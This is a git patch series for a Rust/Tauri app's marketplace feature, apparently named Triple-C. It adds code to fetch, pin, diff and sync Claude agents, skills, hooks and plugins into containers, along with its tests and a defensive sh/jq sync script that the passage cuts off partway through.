GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + fx.write( + "hooks/notify-on-stop/notify.sh", + "#!/bin/sh\ncurl https://example.invalid\n", + ); + let c2 = fx.commit("change hook"); + let data = tempfile::tempdir().unwrap(); + let repo = git::cache_path(data.path(), "m1"); + git::fetch(&repo, &fx.url(), None, None).unwrap(); + + let diffs = item_diff(&repo, ItemKind::Hook, "notify-on-stop", &c1, &c2).unwrap(); + assert_eq!(diffs.len(), 1); + assert_eq!(diffs[0].path, "notify.sh"); + assert!(diffs[0] + .unified + .as_deref() + .unwrap() + .contains("+curl https://example.invalid")); + } +} diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs index 84695ed..0c89ff9 100644 --- a/app/src-tauri/src/marketplace/mod.rs +++ b/app/src-tauri/src/marketplace/mod.rs @@ -1,6 +1,559 @@ -//! Marketplace support — see `docs/superpowers/specs/2026-09-27-marketplace-design.md`. +//! Marketplaces: git repos of agents, skills, commands, hooks and plugins that +//! are fetched on the host and synced into containers. See +//! `docs/superpowers/specs/2026-09-27-marketplace-design.md`. pub mod auth; pub mod catalog; +pub mod diff; pub mod git; pub mod tree; +#[cfg(test)] +pub(crate) mod test_support; + +use std::collections::{BTreeSet, HashMap}; +use std::path::{Path, PathBuf}; +use std::sync::Mutex; + +use tokio::sync::oneshot; + +use crate::models::marketplace::{ + CatalogItem, ItemUpdate, Marketplace, MarketplaceInstall, MarketplaceSnapshot, SyncReport, +}; +use crate::models::{AppSettings, Project}; +use catalog::{item_fingerprint, parse_catalog}; +use tree::GitTree; + +/// Emitted after every container sync, payload `{ project_id, report }`. +pub const SYNC_FINISHED_EVENT: &str = "marketplace-sync-finished"; + +pub struct MarketplaceManager { + data_root: PathBuf, + snapshots: Mutex>, + reports: Mutex>, + gh_login_cancel: tokio::sync::Mutex>>, + /// Serialises writers of the bare caches (fetch, pins, cache removal) so + /// concurrent refreshes never race on gix ref locks (pre-flight F11a). + repo_lock: tokio::sync::Mutex<()>, +} + +/// Project ids become file names; anything outside this set is not persisted. +fn safe_file_stem(id: &str) -> bool { + !id.is_empty() + && id.len() <= 128 + && id + .chars() + .all(|c| c.is_ascii_alphanumeric() || c == '-' || c == '_') +} + +impl MarketplaceManager { + /// `data_root` is `/triple-c`. + pub fn new(data_root: PathBuf) -> Self { + Self { + data_root, + snapshots: Mutex::new(HashMap::new()), + reports: Mutex::new(HashMap::new()), + gh_login_cancel: tokio::sync::Mutex::new(None), + repo_lock: tokio::sync::Mutex::new(()), + } + } + + pub fn data_root(&self) -> &Path { + &self.data_root + } + + /// Hold while writing to any marketplace cache (fetch, `git::set_pins`, + /// removing a cache). + pub fn repo_lock(&self) -> &tokio::sync::Mutex<()> { + &self.repo_lock + } + + pub fn snapshot(&self, marketplace_id: &str) -> Option { + self.snapshots.lock().unwrap().get(marketplace_id).cloned() + } + + pub fn put_snapshot(&self, snap: MarketplaceSnapshot) { + self.snapshots + .lock() + .unwrap() + .insert(snap.marketplace_id.clone(), snap); + } + + pub fn remove_snapshot(&self, marketplace_id: &str) { + self.snapshots.lock().unwrap().remove(marketplace_id); + } + + fn report_path(&self, project_id: &str) -> PathBuf { + self.data_root + .join("marketplace-sync") + .join(format!("{project_id}.json")) + } + + pub fn report(&self, project_id: &str) -> Option { + if let Some(r) = self.reports.lock().unwrap().get(project_id) { + return Some(r.clone()); + } + if !safe_file_stem(project_id) { + return None; + } + let text = std::fs::read_to_string(self.report_path(project_id)).ok()?; + let report: SyncReport = serde_json::from_str(&text).ok()?; + self.reports + .lock() + .unwrap() + .insert(project_id.to_string(), report.clone()); + Some(report) + } + + pub fn put_report(&self, project_id: &str, report: SyncReport) { + self.reports + .lock() + .unwrap() + .insert(project_id.to_string(), report.clone()); + if !safe_file_stem(project_id) { + return; + } + let path = self.report_path(project_id); + let write = || -> std::io::Result<()> { + std::fs::create_dir_all(path.parent().unwrap())?; + let tmp = path.with_extension("json.tmp"); + std::fs::write(&tmp, serde_json::to_vec_pretty(&report).unwrap_or_default())?; + std::fs::rename(&tmp, &path) + }; + if let Err(e) = write() { + log::warn!( + "Could not persist the marketplace sync report for {}: {}", + project_id, + e + ); + } + } + + /// Claim (`Some`) or release (`None`) the single gh-login slot. Claiming + /// fails while another login holds it. + pub async fn set_gh_login_cancel(&self, tx: Option>) -> bool { + let mut slot = self.gh_login_cancel.lock().await; + match tx { + Some(tx) => { + if slot.is_some() { + return false; + } + *slot = Some(tx); + true + } + None => { + *slot = None; + true + } + } + } + + pub async fn cancel_gh_login(&self) { + if let Some(tx) = self.gh_login_cancel.lock().await.take() { + let _ = tx.send(()); + } + } +} + +/// Head commit for a marketplace: the in-memory snapshot's, else the cache's. +pub fn head_for(mgr: &MarketplaceManager, m: &Marketplace) -> Option { + mgr.snapshot(&m.id).and_then(|s| s.head_commit).or_else(|| { + git::cached_head(&git::cache_path(mgr.data_root(), &m.id)) + .ok() + .flatten() + }) +} + +fn parse_at(repo: &Path, commit: &str) -> Result, String> { + let tree = GitTree::open(repo, commit)?; + Ok(parse_catalog(&tree)) +} + +/// Snapshot from the cache alone (no network): startup, and after an install +/// when nothing is in memory. `fetched_at` stays `None`. +pub fn load_cached_snapshot( + mgr: &MarketplaceManager, + marketplace: &Marketplace, +) -> MarketplaceSnapshot { + let repo = git::cache_path(mgr.data_root(), &marketplace.id); + let mut snap = MarketplaceSnapshot { + marketplace_id: marketplace.id.clone(), + ..Default::default() + }; + match git::cached_head(&repo) { + Ok(Some(head)) => match parse_at(&repo, &head) { + Ok(items) => { + snap.head_commit = Some(head); + snap.items = items; + } + Err(e) => snap.fetch_error = Some(format!("The cached copy could not be read: {e}")), + }, + Ok(None) => {} + Err(e) => snap.fetch_error = Some(format!("The cached copy could not be read: {e}")), + } + snap +} + +/// Keep the previous items and head (in memory, else from the cache) and +/// record why this refresh failed. +fn failed_snapshot( + mgr: &MarketplaceManager, + m: &Marketplace, + message: String, +) -> MarketplaceSnapshot { + let mut snap = mgr + .snapshot(&m.id) + .unwrap_or_else(|| load_cached_snapshot(mgr, m)); + snap.fetch_error = Some(message); + mgr.put_snapshot(snap.clone()); + snap +} + +/// Refresh one marketplace: resolve the credential, fetch (blocking task, under +/// the repo lock), parse the catalog at head and store the snapshot. On failure +/// the previous items and head are kept and `fetch_error` is set. +pub async fn refresh_marketplace( + mgr: &MarketplaceManager, + settings: &AppSettings, + marketplace_id: &str, +) -> MarketplaceSnapshot { + let Some(m) = settings + .marketplaces + .iter() + .find(|m| m.id == marketplace_id) + .cloned() + else { + return MarketplaceSnapshot { + marketplace_id: marketplace_id.to_string(), + fetch_error: Some("This marketplace is no longer configured.".to_string()), + ..Default::default() + }; + }; + let account = m + .account_id + .as_ref() + .and_then(|id| settings.marketplace_accounts.iter().find(|a| &a.id == id)) + .cloned(); + let cred = match &account { + Some(a) => match auth::resolve_credential(a).await { + Ok(c) => Some(c), + Err(e) => return failed_snapshot(mgr, &m, e), + }, + None => None, + }; + + let repo = git::cache_path(mgr.data_root(), &m.id); + let (url, branch) = (m.url.clone(), m.branch.clone()); + let joined = { + let _repo_guard = mgr.repo_lock.lock().await; + tokio::task::spawn_blocking(move || { + let head = git::fetch(&repo, &url, branch.as_deref(), cred)?; + let items = parse_at(&repo, &head).map_err(git::FetchError::Other)?; + Ok::<_, git::FetchError>((head, items)) + }) + .await + }; + + match joined { + Ok(Ok((head, items))) => { + let snap = MarketplaceSnapshot { + marketplace_id: m.id.clone(), + head_commit: Some(head), + fetched_at: Some(chrono::Utc::now().to_rfc3339()), + fetch_error: None, + items, + }; + mgr.put_snapshot(snap.clone()); + snap + } + Ok(Err(e)) => failed_snapshot( + mgr, + &m, + auth::describe_fetch_error(&e, account.as_ref(), &m.url), + ), + Err(e) => failed_snapshot(mgr, &m, format!("The refresh task failed: {e}")), + } +} + +fn item_changed(repo: &Path, inst: &MarketplaceInstall, head: &str) -> Result { + let old = GitTree::open(repo, &inst.commit)?; + let new = GitTree::open(repo, head)?; + Ok(item_fingerprint(&old, inst.kind, &inst.key)? + != item_fingerprint(&new, inst.kind, &inst.key)?) +} + +/// Every install (global + all projects) whose item fingerprint at head +/// differs from its pin. Installs whose pin is not in the cache are skipped. +pub fn compute_updates( + mgr: &MarketplaceManager, + settings: &AppSettings, + projects: &[Project], +) -> Vec { + let mut seen = BTreeSet::new(); + let mut out = Vec::new(); + let all = settings + .global_marketplace_installs + .iter() + .chain(projects.iter().flat_map(|p| p.marketplace_installs.iter())); + for inst in all { + if !seen.insert((inst.item_ref(), inst.commit.clone())) { + continue; + } + let Some(m) = settings + .marketplaces + .iter() + .find(|m| m.id == inst.marketplace_id) + else { + continue; + }; + let Some(head) = head_for(mgr, m) else { + continue; + }; + if head == inst.commit { + continue; + } + let repo = git::cache_path(mgr.data_root(), &m.id); + match item_changed(&repo, inst, &head) { + Ok(true) => out.push(ItemUpdate { + item: inst.item_ref(), + pinned: inst.commit.clone(), + head, + }), + Ok(false) => {} + Err(e) => log::debug!("Update check skipped for {}: {}", inst.key, e), + } + } + out +} + +/// All commits referenced by installs, per marketplace (for `git::set_pins`). +pub fn pins_by_marketplace( + settings: &AppSettings, + projects: &[Project], +) -> HashMap> { + let mut map: HashMap> = HashMap::new(); + let all = settings + .global_marketplace_installs + .iter() + .chain(projects.iter().flat_map(|p| p.marketplace_installs.iter())); + for inst in all { + map.entry(inst.marketplace_id.clone()) + .or_default() + .insert(inst.commit.clone()); + } + map.into_iter() + .map(|(k, v)| (k, v.into_iter().collect())) + .collect() +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::marketplace::test_support::GitFixture; + use crate::models::marketplace::{ItemKind, Marketplace, MarketplaceInstall}; + + fn settings_with(url: &str) -> AppSettings { + let mut s = AppSettings::default(); + s.marketplaces.push(Marketplace { + id: "m1".into(), + name: "Test".into(), + url: url.into(), + branch: None, + account_id: None, + }); + s + } + + fn install(kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall { + MarketplaceInstall { + marketplace_id: "m1".into(), + kind, + key: key.into(), + commit: commit.into(), + } + } + + #[tokio::test] + async fn refresh_parses_the_catalog_at_head() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + + let snap = refresh_marketplace(&mgr, &settings_with(&fx.url()), "m1").await; + + assert_eq!(snap.fetch_error, None); + assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str())); + assert!(snap.fetched_at.is_some()); + let mut keys: Vec = snap + .items + .iter() + .map(|i| format!("{:?}:{}", i.kind, i.key)) + .collect(); + keys.sort(); + assert_eq!( + keys, + vec![ + "Agent:code-reviewer", + "Command:example-command", + "Hook:notify-on-stop", + "Plugin:example-plugin", + "Skill:example-skill", + ] + ); + assert_eq!(mgr.snapshot("m1"), Some(snap)); + } + + #[tokio::test] + async fn refresh_failure_keeps_snapshot() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + let url = fx.url(); + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let settings = settings_with(&url); + let first = refresh_marketplace(&mgr, &settings, "m1").await; + assert_eq!(first.fetch_error, None); + + drop(fx); // the source repository disappears (offline, deleted, …) + let second = refresh_marketplace(&mgr, &settings, "m1").await; + + assert!(second.fetch_error.is_some(), "expected a fetch error"); + assert_eq!(second.head_commit.as_deref(), Some(c1.as_str())); + assert_eq!(second.items, first.items); + assert_eq!(second.fetched_at, first.fetched_at); + } + + #[tokio::test] + async fn refresh_waits_for_the_repo_lock() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let settings = settings_with(&fx.url()); + + let guard = mgr.repo_lock().lock().await; + let blocked = tokio::time::timeout( + std::time::Duration::from_millis(300), + refresh_marketplace(&mgr, &settings, "m1"), + ) + .await; + assert!(blocked.is_err(), "refresh must not fetch while the repo lock is held"); + assert!( + !git::cache_path(data.path(), "m1").exists(), + "nothing may touch the cache while the lock is held" + ); + drop(guard); + + let snap = refresh_marketplace(&mgr, &settings, "m1").await; + assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str())); + } + + #[tokio::test] + async fn concurrent_refreshes_all_succeed() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let settings = settings_with(&fx.url()); + + let (a, b, c) = tokio::join!( + refresh_marketplace(&mgr, &settings, "m1"), + refresh_marketplace(&mgr, &settings, "m1"), + refresh_marketplace(&mgr, &settings, "m1"), + ); + for snap in [a, b, c] { + assert_eq!(snap.fetch_error, None); + assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str())); + } + } + + #[tokio::test] + async fn cached_snapshot_loads_without_network() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + let settings = settings_with(&fx.url()); + { + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + refresh_marketplace(&mgr, &settings, "m1").await; + } + drop(fx); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let snap = load_cached_snapshot(&mgr, &settings.marketplaces[0]); + assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str())); + assert_eq!(snap.items.len(), 5); + assert_eq!(snap.fetch_error, None); + } + + #[tokio::test] + async fn only_items_whose_own_files_changed_have_updates() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + fx.write( + "agents/code-reviewer.md", + "---\nname: code-reviewer\ndescription: Reviews code\n---\nReview harder.\n", + ); + let c2 = fx.commit("tweak agent"); + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let mut settings = settings_with(&fx.url()); + settings.global_marketplace_installs = vec![ + install(ItemKind::Agent, "code-reviewer", &c1), + install(ItemKind::Hook, "notify-on-stop", &c1), + ]; + let mut project = crate::models::Project::new("p".into(), vec![]); + project.marketplace_installs = vec![install(ItemKind::Skill, "example-skill", &c1)]; + refresh_marketplace(&mgr, &settings, "m1").await; + + let updates = compute_updates(&mgr, &settings, &[project]); + + assert_eq!(updates.len(), 1, "{updates:?}"); + assert_eq!(updates[0].item.key, "code-reviewer"); + assert_eq!(updates[0].pinned, c1); + assert_eq!(updates[0].head, c2); + } + + #[test] + fn pins_are_grouped_and_deduplicated_per_marketplace() { + let a = "a".repeat(40); + let b = "b".repeat(40); + let mut settings = settings_with("https://example.invalid/r.git"); + settings.global_marketplace_installs = vec![ + install(ItemKind::Agent, "x", &b), + install(ItemKind::Hook, "y", &a), + ]; + let mut project = crate::models::Project::new("p".into(), vec![]); + project.marketplace_installs = vec![install(ItemKind::Agent, "z", &a)]; + let pins = pins_by_marketplace(&settings, &[project]); + assert_eq!(pins.get("m1"), Some(&vec![a.clone(), b.clone()])); + } + + #[test] + fn reports_are_persisted_per_project() { + let data = tempfile::tempdir().unwrap(); + let report = SyncReport { + installed: vec!["agent:x".into()], + ..Default::default() + }; + MarketplaceManager::new(data.path().to_path_buf()).put_report("proj-1", report.clone()); + let fresh = MarketplaceManager::new(data.path().to_path_buf()); + assert_eq!(fresh.report("proj-1"), Some(report)); + assert_eq!(fresh.report("proj-2"), None); + } + + #[tokio::test] + async fn only_one_gh_login_may_hold_the_cancel_slot() { + let mgr = MarketplaceManager::new(std::env::temp_dir()); + let (tx1, rx1) = tokio::sync::oneshot::channel(); + let (tx2, _rx2) = tokio::sync::oneshot::channel(); + assert!(mgr.set_gh_login_cancel(Some(tx1)).await); + assert!(!mgr.set_gh_login_cancel(Some(tx2)).await); + mgr.cancel_gh_login().await; + assert!(rx1.await.is_ok(), "cancel must signal the running login"); + let (tx3, _rx3) = tokio::sync::oneshot::channel(); + assert!( + mgr.set_gh_login_cancel(Some(tx3)).await, + "slot is free after cancel" + ); + } +} diff --git a/app/src-tauri/src/marketplace/test_support.rs b/app/src-tauri/src/marketplace/test_support.rs new file mode 100644 index 0000000..eda62ac --- /dev/null +++ b/app/src-tauri/src/marketplace/test_support.rs @@ -0,0 +1,90 @@ +//! Test-only helpers: throwaway git repositories built with the `git` CLI, so +//! marketplace code is exercised against real git objects over `file://`. +//! The git plumbing itself lives in [`super::git::test_support`] (one copy). + +use std::fs; + +use super::git::test_support::{file_url, git, git_available}; + +pub struct GitFixture { + pub dir: tempfile::TempDir, +} + +impl GitFixture { + /// `None` (with a note on stderr) when `git` is not installed; callers skip. + pub fn new() -> Option { + if !git_available() { + eprintln!("skipping: git is not installed"); + return None; + } + let dir = tempfile::tempdir().expect("tempdir"); + git(dir.path(), &["init", "-q", "-b", "main"]); + Some(Self { dir }) + } + + pub fn url(&self) -> String { + file_url(self.dir.path()) + } + + pub fn write(&self, path: &str, contents: &str) -> &Self { + let p = self.dir.path().join(path); + fs::create_dir_all(p.parent().unwrap()).unwrap(); + fs::write(&p, contents).unwrap(); + self + } + + pub fn write_exec(&self, path: &str, contents: &str) -> &Self { + self.write(path, contents); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let p = self.dir.path().join(path); + fs::set_permissions(&p, fs::Permissions::from_mode(0o755)).unwrap(); + } + self + } + + /// Commit everything and return the new commit id (40 hex). + pub fn commit(&self, message: &str) -> String { + git(self.dir.path(), &["add", "-A"]); + git( + self.dir.path(), + &["commit", "-q", "--allow-empty", "-m", message], + ); + git(self.dir.path(), &["rev-parse", "HEAD"]) + } + + /// A repo with one item of every kind, committed. Returns the commit. + pub fn with_all_kinds(&self) -> String { + self.write( + "agents/code-reviewer.md", + "---\nname: code-reviewer\ndescription: Reviews code\n---\nReview the diff.\n", + ) + .write( + "skills/example-skill/SKILL.md", + "---\nname: example-skill\ndescription: An example skill\n---\nDo the thing.\n", + ) + .write( + "commands/example-command.md", + "---\ndescription: An example command\n---\nRun the example.\n", + ) + .write( + "hooks/notify-on-stop/hook.json", + r#"{"name":"notify-on-stop","description":"Ping on stop","hooks":{"Stop":[{"hooks":[{"type":"command","command":"${HOOK_DIR}/notify.sh"}]}]}}"#, + ) + .write_exec("hooks/notify-on-stop/notify.sh", "#!/bin/sh\necho done\n") + .write( + "plugins/.claude-plugin/marketplace.json", + r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin"}]}"#, + ) + .write( + "plugins/example-plugin/.claude-plugin/plugin.json", + r#"{"name":"example-plugin","version":"0.1.0"}"#, + ) + .write( + "plugins/example-plugin/skills/hello/SKILL.md", + "---\nname: hello\ndescription: Says hello\n---\nSay hello.\n", + ); + self.commit("all kinds") + } +} -- 2.52.0 From b73067019f3493df397e604a982906eb87741bb3 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:17:23 -0700 Subject: [PATCH 16/45] Marketplace: container sync script and its tests Constant POSIX sh + jq script (embedded via include_str!) that applies the payload into ~/.claude, tracks ownership in state.json, never overwrites user-owned files, merges hook entries surgically, drives claude plugin and prints a JSON SyncReport. Also: settings.json kept 0600 (pre-flight N11), payloads containing symlinks are refused, slugs parsed via @tsv. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/mod.rs | 4 + app/src-tauri/src/marketplace/sync.rs | 9 + app/src-tauri/src/marketplace/sync.sh | 344 ++++++++++ .../src/marketplace/sync_script_tests.rs | 590 ++++++++++++++++++ 4 files changed, 947 insertions(+) create mode 100644 app/src-tauri/src/marketplace/sync.rs create mode 100644 app/src-tauri/src/marketplace/sync.sh create mode 100644 app/src-tauri/src/marketplace/sync_script_tests.rs diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs index 84695ed..3087750 100644 --- a/app/src-tauri/src/marketplace/mod.rs +++ b/app/src-tauri/src/marketplace/mod.rs @@ -3,4 +3,8 @@ pub mod auth; pub mod catalog; pub mod git; +pub mod sync; pub mod tree; + +#[cfg(test)] +mod sync_script_tests; diff --git a/app/src-tauri/src/marketplace/sync.rs b/app/src-tauri/src/marketplace/sync.rs new file mode 100644 index 0000000..699faac --- /dev/null +++ b/app/src-tauri/src/marketplace/sync.rs @@ -0,0 +1,9 @@ +//! Pushes a project's marketplace payload into its container and runs the +//! sync script there (spec §4). + +/// Where the payload and the script are uploaded. Owned by `claude`. +pub const INCOMING_DIR: &str = "/home/claude/.claude/triple-c/marketplace/incoming"; + +/// The sync script. Shipped with the app and uploaded on every sync, so a new +/// app version reaches existing containers without an image migration. +pub const SYNC_SCRIPT: &str = include_str!("sync.sh"); diff --git a/app/src-tauri/src/marketplace/sync.sh b/app/src-tauri/src/marketplace/sync.sh new file mode 100644 index 0000000..06f37e4 --- /dev/null +++ b/app/src-tauri/src/marketplace/sync.sh @@ -0,0 +1,344 @@ +#!/bin/sh +# Messages name paths as the user sees them ("~/.claude/..."), deliberately. +# shellcheck disable=SC2088 +# Triple-C marketplace sync: applies the payload the app uploaded. +# +# A constant script, shipped inside the app and uploaded next to the payload on +# every sync. Nothing is ever interpolated into it: its only inputs are the +# files under $MARKETPLACE_INCOMING (written by the host) and $HOME. Item keys +# and slugs are re-validated here although the host validated them, and every +# destination path is derived from them rather than taken from the manifest. +# +# Progress and tool output go to stderr. stdout carries exactly one line: the +# JSON report. Exit status is 0 unless HOME is unset; per-item failures are +# reported, never fatal. +set -u + +if [ -z "${HOME:-}" ]; then + echo "triple-c-marketplace-sync: HOME is not set" >&2 + exit 2 +fi +PATH="$HOME/.claude/bin:$HOME/.local/bin:$PATH" +export PATH + +CLAUDE_DIR="$HOME/.claude" +BASE="$CLAUDE_DIR/triple-c" +INCOMING="${MARKETPLACE_INCOMING:-$BASE/marketplace/incoming}" +LOCK="${MARKETPLACE_LOCK:-/tmp/.triple-c-claude-update.lock}" +STATE="$BASE/marketplace/state.json" +WORK="$BASE/marketplace/work" +SETTINGS="$CLAUDE_DIR/settings.json" +TAB=$(printf '\t') + +if ! command -v jq >/dev/null 2>&1; then + printf '%s\n' '{"errors":["jq is not installed in this container, so marketplace items were not applied"]}' + exit 0 +fi + +R=$(mktemp -d) || exit 2 +trap 'rm -rf "$R"' EXIT +for f in installed updated removed skipped errors newstate new_slugs final_slugs; do + : >"$R/$f" +done + +report() { printf '%s\n' "$2" >>"$R/$1"; } +skip() { printf '%s\t%s\n' "$1" "$2" >>"$R/skipped"; } +fail() { printf '%s\n' "$1" >>"$R/errors"; } +record() { printf '%s\t%s\n' "$1" "$2" >>"$R/newstate"; } + +emit_report() { + jq -cn \ + --rawfile i "$R/installed" --rawfile u "$R/updated" --rawfile d "$R/removed" \ + --rawfile s "$R/skipped" --rawfile e "$R/errors" ' + def lines: split("\n") | map(select(length > 0)); + { installed: ($i | lines), updated: ($u | lines), removed: ($d | lines), + skipped: ($s | lines | map(split("\t") | { item: .[0], reason: (.[1:] | join("\t")) })), + errors: ($e | lines) }' +} + +valid_key() { + case "$1" in + '' | [!A-Za-z0-9]* | *[!A-Za-z0-9._-]*) return 1 ;; + esac + [ "${#1}" -le 64 ] +} + +valid_slug() { + case "$1" in + '' | -* | *[!a-z0-9-]*) return 1 ;; + esac + [ "${#1}" -le 64 ] +} + +valid_commit() { + case "$1" in + '' | *[!0-9a-f]*) return 1 ;; + esac + [ "${#1}" -eq 40 ] +} + +# Run `claude` serialised with the entrypoint's and every session's +# `claude update`, which rewrite ~/.claude/bin under the same lock. +claude_cmd() { + if command -v flock >/dev/null 2>&1; then + flock -w 120 "$LOCK" claude "$@" &2 + else + claude "$@" &2 + fi +} + +owned() { jq -e --arg id "$1" '.items | has($id)' "$STATE" >/dev/null 2>&1; } +prev_commit() { jq -r --arg id "$1" '.items[$id].commit // ""' "$STATE"; } +in_manifest() { + jq -e --arg id "$1" 'any(.items[]; (.kind + ":" + .key) == $id)' "$MANIFEST" >/dev/null 2>&1 +} +carry_forward() { record "$1" "$(jq -c --arg id "$1" '.items[$id]' "$STATE")"; } + +outcome() { + p=$(prev_commit "$1") + if [ -z "$p" ]; then + report installed "$1" + elif [ "$p" != "$2" ]; then + report updated "$1" + fi +} + +# ── Unpack ─────────────────────────────────────────────────────────────────── +if [ ! -f "$INCOMING/payload.tar" ]; then + fail "no payload was uploaded" + emit_report + exit 0 +fi +mkdir -p "$BASE/marketplace" "$BASE/hooks" "$BASE/plugins" +rm -rf "$WORK" +mkdir -p "$WORK" +if ! tar -xf "$INCOMING/payload.tar" -C "$WORK" >&2; then + rm -f "$INCOMING/payload.tar" + fail "the payload could not be unpacked" + emit_report + exit 0 +fi +rm -f "$INCOMING/payload.tar" +# The host never packs links (they make an item invalid); refuse any that +# arrive rather than copy through them. +if [ -n "$(find "$WORK" -type l -print | head -n 1)" ]; then + rm -rf "$WORK" + fail "the payload contains a symbolic link, so it was not applied" + emit_report + exit 0 +fi +MANIFEST="$WORK/manifest.json" +if ! jq -e '.version == 1' "$MANIFEST" >/dev/null 2>&1; then + fail "the payload manifest is missing or has an unsupported version" + emit_report + exit 0 +fi +if ! jq -e '(.items | type) == "object"' "$STATE" >/dev/null 2>&1; then + printf '%s\n' '{"version":1,"items":{},"plugin_marketplaces":[]}' >"$STATE" +fi + +# ── Agents, skills, commands, hooks ────────────────────────────────────────── +jq -r '.items[] | select(.kind != "plugin") | [.kind, .key, .commit] | @tsv' "$MANIFEST" >"$R/items.tsv" +while IFS="$TAB" read -r kind key commit; do + id="$kind:$key" + if ! valid_key "$key"; then skip "$id" "invalid item name"; continue; fi + if ! valid_commit "$commit"; then skip "$id" "invalid commit"; continue; fi + case "$kind" in + agent | command) + dir="$CLAUDE_DIR/${kind}s" + src="$WORK/${kind}s/$key.md" + dest="$dir/$key.md" + if [ ! -f "$src" ]; then fail "$id: missing from the payload"; continue; fi + if [ -e "$dest" ] && ! owned "$id"; then + skip "$id" "~/.claude/${kind}s/$key.md already exists and was not installed by Triple-C" + continue + fi + if ! { mkdir -p "$dir" && cp "$src" "$dest.tmp.$$" && mv -f "$dest.tmp.$$" "$dest"; }; then + rm -f "$dest.tmp.$$" + fail "$id: could not write $dest" + continue + fi + outcome "$id" "$commit" + record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" '{commit: $c, path: $p}')" + ;; + skill) + dir="$CLAUDE_DIR/skills" + src="$WORK/skills/$key" + dest="$dir/$key" + if [ ! -d "$src" ]; then fail "$id: missing from the payload"; continue; fi + if [ -e "$dest" ] && ! owned "$id"; then + skip "$id" "~/.claude/skills/$key already exists and was not installed by Triple-C" + continue + fi + if ! { mkdir -p "$dir" && rm -rf "$dest" && cp -R "$src" "$dest"; }; then + fail "$id: could not write $dest" + continue + fi + outcome "$id" "$commit" + record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" '{commit: $c, path: $p}')" + ;; + hook) + src="$WORK/hooks/$key" + dest="$BASE/hooks/$key" + entries=$(jq -c --arg k "$key" \ + 'first(.items[] | select(.kind == "hook" and .key == $k) | .settings) // {}' "$MANIFEST") + if ! printf '%s' "$entries" | jq -e 'type == "object" and all(.[]; type == "array")' >/dev/null 2>&1; then + skip "$id" "its hook settings are not an object of arrays" + continue + fi + if [ ! -d "$src" ]; then fail "$id: missing from the payload"; continue; fi + if ! { rm -rf "$dest" && cp -R "$src" "$dest"; }; then + fail "$id: could not write $dest" + continue + fi + outcome "$id" "$commit" + record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" --argjson e "$entries" \ + '{commit: $c, path: $p, entries: $e}')" + ;; + *) + skip "$id" "unknown item kind" + ;; + esac +done <"$R/items.tsv" + +# ── Removals (non-plugin) ──────────────────────────────────────────────────── +cut -f1 "$R/newstate" >"$R/new_ids" +jq -r '.items | keys[]' "$STATE" >"$R/old_ids" +while read -r id; do + case "$id" in plugin:*) continue ;; esac + if grep -qxF "$id" "$R/new_ids"; then continue; fi + # Still selected but failed this run: keep the old files and record. + if in_manifest "$id"; then carry_forward "$id"; continue; fi + path=$(jq -r --arg id "$id" '.items[$id].path // ""' "$STATE") + case "$path" in + */../* | */..) fail "$id: refusing to remove unexpected path $path" ;; + "$CLAUDE_DIR"/*) + if rm -rf "$path"; then report removed "$id"; else fail "$id: could not remove $path"; fi + ;; + *) fail "$id: refusing to remove unexpected path $path" ;; + esac +done <"$R/old_ids" + +# ── Hook entries in settings.json ──────────────────────────────────────────── +# shellcheck disable=SC2016 # jq program, not shell +MERGE_ENTRIES='[.[] | .entries? // empty] + | reduce .[] as $e ({}; reduce ($e | to_entries[]) as $x (.; .[$x.key] += $x.value))' +OLD_HOOKS=$(jq -c "[.items[]] | $MERGE_ENTRIES" "$STATE") +NEW_HOOKS=$(cut -f2- "$R/newstate" | jq -cs "$MERGE_ENTRIES") +HOOKS_FAILED=0 +if [ "$OLD_HOOKS" != "{}" ] || [ "$NEW_HOOKS" != "{}" ]; then + if [ -f "$SETTINGS" ]; then + current="$SETTINGS" + else + printf '{}\n' >"$R/empty.json" + current="$R/empty.json" + fi + # settings.json may hold secrets and the entrypoint keeps it 0600: create + # the replacement private and keep it that way (pre-flight N11). + saved_umask=$(umask) + umask 077 + if jq --argjson old "$OLD_HOOKS" --argjson new "$NEW_HOOKS" ' + def remove_first($x): + (to_entries | map(select(.value == $x)) | first(.[].key) // null) as $i + | if $i == null then . else del(.[$i]) end; + reduce ($old | to_entries[]) as $ev (.; + if (.hooks[$ev.key] | type) == "array" + then reduce $ev.value[] as $g (.; .hooks[$ev.key] |= remove_first($g)) + else . end) + | reduce ($new | to_entries[]) as $ev (.; + .hooks[$ev.key] = ((.hooks[$ev.key] // []) + $ev.value)) + | if (.hooks | type) == "object" 